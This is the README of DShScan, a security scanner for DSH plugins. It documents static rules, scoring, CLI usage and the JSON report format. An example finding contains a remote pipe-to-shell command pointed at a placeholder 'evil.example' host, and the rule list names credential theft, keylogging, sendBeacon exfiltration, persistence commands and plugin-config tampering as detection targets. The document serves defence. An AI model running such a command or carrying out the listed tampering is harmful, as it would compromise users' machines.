DShScan

English | 中文

DSH 插件安全扫描器：对插件源码做静态与语义双通道检查，内置 DSH 特有攻击面规则，集成 npm audit，支持批量扫描，输出带严重等级与证据的 HTML 报告。

Demo

DShScan Demo Report

插件市场

已收录于 dshbase 插件目录：

https://dshbase.com/zh/plugins/shaoshi-dshscan/

在线 Demo：

https://shaoshi20.github.io/dshscan/

作为 DSH 插件安装：

bash
dsh plugin add @shaoshi/dshscan

功能

输入：插件名 / GitHub 仓库地址 / 本地目录 / zip / Markdown 文件
输出：JSON 报告，包含 risk_score、severity、safe_to_install、recommendation、findings
双通道扫描：
- 静态规则扫描（完全离线）
- 可选 LLM 语义扫描（需 API Key）
dshbase 集成：输入插件名时自动读取本地索引元数据（stars / trust / verified / npm / cmd）
npm 源码扫描：npm 插件可自动 npm pack 下载并扫描包内容
依赖审计：检查未锁定版本、远程依赖源、依赖包名仿冒；可选 --audit 调用 npm audit
DSH manifest 校验：检查 dsh.bundle、cordis.patch.yml、LICENSE、README
DSH 攻击面规则：R010 插件树注入、R011 浏览器侧恶意代码、R012 profile 篡改、R013 manifest 混淆、R014 远程动态加载、R015 内置工具影子劫持
Benchmark 评估集：内置恶意/良性样例，dshscan --benchmark 输出查全率、误报率、F1 与逐规则指标
自定义规则：支持 --rules <file> 加载 JSON 规则
策略文件：支持 --policy <file> 配置 ignoreRules / severityOverrides / includeScopes / excludeScopes
审计日志：支持 --audit-log <file> 以 JSONL 记录每个被标记项
Web Dashboard：支持 --serve 启动本地可视化面板，内置风险分数趋势、发现数量趋势、严重级分布图，并自动把扫描历史写入 .dshscan-history.json
HTML 报告：支持 --html 输出独立网页报告
误报处理：每条 finding 都带证据 + 修复建议
批量扫描：支持对 dshbase 插件目录批量扫描并输出汇总 JSON / HTML
定时巡检：GitHub Actions 每日自动拉取 dshbase 目录并批量扫描

安装与构建

bash
cd path/to/dshscan
npm install
npm run build

构建后生成 dist/main.js，可通过 dshscan.cmd 或 node dist/main.js 调用。

使用

bash
1# 扫描 dshbase 插件（按名称自动查索引，并尝试 clone 源码）
2dshscan <plugin-name>
3dshscan another-plugin
4
5# 扫描 GitHub 仓库
6dshscan github:owner/repo
7dshscan https://github.com/owner/repo
8
9# 扫描本地目录 / zip / md
10dshscan /path/to/plugin
11dshscan plugin.zip
12dshscan README.md
13
14# 仅离线扫描（不 clone 远程仓库，只给索引元数据 + 静态限制说明）
15dshscan <plugin-name> --offline
16
17# 启用 LLM 语义扫描（需要设置 DSCAN_LLM_API_KEY 或 OPENAI_API_KEY）
18dshscan <plugin-name> --semantic
19
20# 自定义 LLM 接入
21dshscan <plugin-name> --semantic --llm-base-url https://api.openai.com/v1 --llm-model gpt-4o-mini
22
23# 输出到文件
24dshscan <plugin-name> --output report.json --pretty
25
26# 输出人类可读摘要
27dshscan <plugin-name> --summary
28
29# 输出 HTML 报告
30dshscan <plugin-name> --html --output report.html
31
32# 批量扫描输出 HTML
33dshscan --batch --all --html --output batch.html
34
35# 启用 npm audit 依赖漏洞扫描
36dshscan <plugin-name> --audit
37
38# 加载自定义规则
39dshscan <plugin-name> --rules custom-rules.json
40
41# 加载策略并输出审计日志
42dshscan <plugin-name> --policy policy.json --audit-log audit.jsonl
43
44# 启动本地 Web 可视化面板（含趋势图，历史写入 .dshscan-history.json）
45dshscan --serve --port 8787
46
47# 指定历史文件
48dshscan --serve --port 8787 --history /path/to/history.json
49
50# 运行 Benchmark 评估集（恶意/良性样例，输出摘要）
51dshscan --benchmark --summary
52
53# 输出完整 Benchmark JSON 报告
54dshscan --benchmark --pretty
55
56# 批量扫描 dshbase 插件（默认离线，按 stars 取前 N）
57dshscan --batch --limit 50 --index /path/to/dshbase-directory.json --output batch.json --pretty
58
59# 批量扫描全部插件（离线）
60dshscan --batch --all --offline --output all.json

环境变量

变量	用途	默认
`DSCAN_INDEX`	dshbase 插件索引 JSON 路径	`~/.dsh/dshbase-directory.json`（可用环境变量覆盖）
`DSCAN_LLM_API_KEY`	语义扫描 API Key	无（未设置则仅静态扫描）
`OPENAI_API_KEY`	备选 API Key	无
`DSCAN_LLM_BASE_URL`	OpenAI 兼容接口地址	`https://api.openai.com/v1`
`DSCAN_LLM_MODEL`	语义分析模型	`gpt-4o-mini`

JSON 报告格式

json
1{
2  "tool": "DShScan",
3  "version": "0.5.0",
4  "target": {
5    "kind": "plugin",
6    "raw": "some-plugin",
7    "displayName": "some-plugin",
8    "repoUrl": "https://github.com/owner/some-plugin.git",
9    "metadata": {
10      "name": "some-plugin",
11      "stars": 120,
12      "trust": "silver",
13      "verified": true,
14      "npm": false,
15      "cmd": "dsh plugin add github:owner/some-plugin"
16    }
17  },
18  "risk_score": 0,
19  "severity": "low",
20  "safe_to_install": true,
21  "recommendation": "风险较低，可以安装；仍建议保持插件更新并定期复查。",
22  "findings": [],
23  "llm_used": false,
24  "scan_mode": "static",
25  "scan_note": "仅静态扫描，非完整扫描。",
26  "metadata": {
27    "name": "some-plugin",
28    "stars": 120,
29    "trust": "silver",
30    "verified": true,
31    "npm": false,
32    "cmd": "dsh plugin add github:owner/some-plugin"
33  }
34}

finding 对象

json
{
  "id": "R001",
  "severity": "critical",
  "category": "remote-code-execution",
  "title": "Remote script piped to shell",
  "evidence": "install.sh:12: curl -fsSL https://evil.example/x.sh | bash",
  "recommendation": "Remove remote-pipe-to-shell installers. Vendor the script, pin a checksum, and review before execution.",
  "source": "static",
  "rule": "R001"
}

严重等级与风险分

risk_score	severity
0–29	low
30–59	medium
60–79	high
80–100	critical

safe_to_install 为 true 仅当：没有 high/critical finding，且 risk_score < 40。

计分方式：每个类别只取最高严重级的权重（critical=50 / high=30 / medium=15 / low=5），同一类别的重复命中（如 40 处 chmod）不叠加，类别间求和后封顶 100——避免噪音把分数顶满。

上下文衰减：命中在以下文件里会降一级严重级（文档/测试是描述性的，信号置信度低）：

文档（.md / .markdown / .txt / .rst）——R008（提示注入，本身针对文档）除外
测试代码（test(s)/ 目录、*.test.*、*_test.*、test_*）
构建镜像（Dockerfile*、docker-compose*.yml）

以下目录完全不扫描：.github / .circleci / .gitlab、third_party / vendor 等 vendored 依赖、 node_modules / dist / build 等构建产物。

静态规则

ID	严重等级	类别
R001	critical	远程脚本管道执行
R002	high	动态代码执行（独立 `eval`、shell `eval "..."`、`new Function`、`vm` 逃逸、`os.system`、`child_process.exec`）
R002b	medium	`shell: true` / `shell=True`（单独出现的弱信号）
R003	high	混淆代码
R004	medium	HTTP 明文网络端点（排除模板插值、命名空间 URI、本地/示例域名）
R004b	medium	硬编码公网 IP 回调（排除私网/环回段）
R005	high	凭据读取/窃取
R006	high	持久化/提权（仅强信号：`chmod 777`、`systemctl enable`、注册表 Run 键、`schtasks`、`launchctl`、`crontab -e`、`--unsafe-perm`）
R007	medium	远程包安装源
R008	critical	README 提示注入
R009	medium/high	package.json 生命周期脚本
R010	high	DSH：cordis.patch.yml 插件树注入（insert 危险 loader / 禁用安全行）
R011	high	DSH：client.mjs 浏览器侧恶意代码（sendBeacon、键盘记录、DOM 注入、外连）
R012	critical	DSH：profile 配置篡改（禁用安全行、添加可疑 bundle、写/执行 profile 文件）
M001–M005	low/high	索引元数据风险信号（M005=疑似 typosquatting）
E001–E005	medium/high	扫描限制/输入错误

DSH 特有攻击面

R010 cordis.patch.yml 插件树注入：插件自带的 cordis.patch.yml 如果 insert 了 @deepseek-ai/dsh-mcp-client、cordis-plugin-group 等 loader 行，或把 tool-bash、approval、permission 等安全行 disabled: true，属于高风险插件树篡改。
R011 client.mjs 浏览器侧恶意代码：DSH 插件可以注入 Web 客户端代码；检测 sendBeacon 外传、键盘/输入监听、剪贴板读取、innerHTML 注入、postMessage *、外连 WebSocket/fetch 等浏览器侧恶意行为。
R012 profile 配置篡改：插件如果试图修改 cordis.yml / cordis.patch.yml / package.json 的 dsh.profile.bundles / pnpm-workspace.yaml，或通过代码写/执行 ~/.dsh、profiles、patch 文件，属于严重供应链风险。

测试

bash
npm test

基于 Node 内置 test runner（node --test），覆盖规则命中/反例、上下文衰减、计分封顶、路径分类与恶意样例端到端判定。

说明

verified=true 仅表示 dshbase CI 可安装，不等于安全审计。
静态扫描无需网络；但扫描 GitHub 仓库时获取源码需要网络（可用 --offline 跳过）。
低风险但未启用语义扫描时，报告会标注 scan_mode: "static" 和 "仅静态扫描，非完整扫描"。
报告超过 100 条 finding 时只展示按严重级排序的前 100 条，并置 findings_truncated: true（计分与安装建议仍基于全量）。
索引文件缺失/损坏不会导致崩溃：自动降级为无元数据通道并提示（可用 DSCAN_INDEX 指向你自己的索引）。

dshscanDeepSeek Harness plugin

Overview

Original README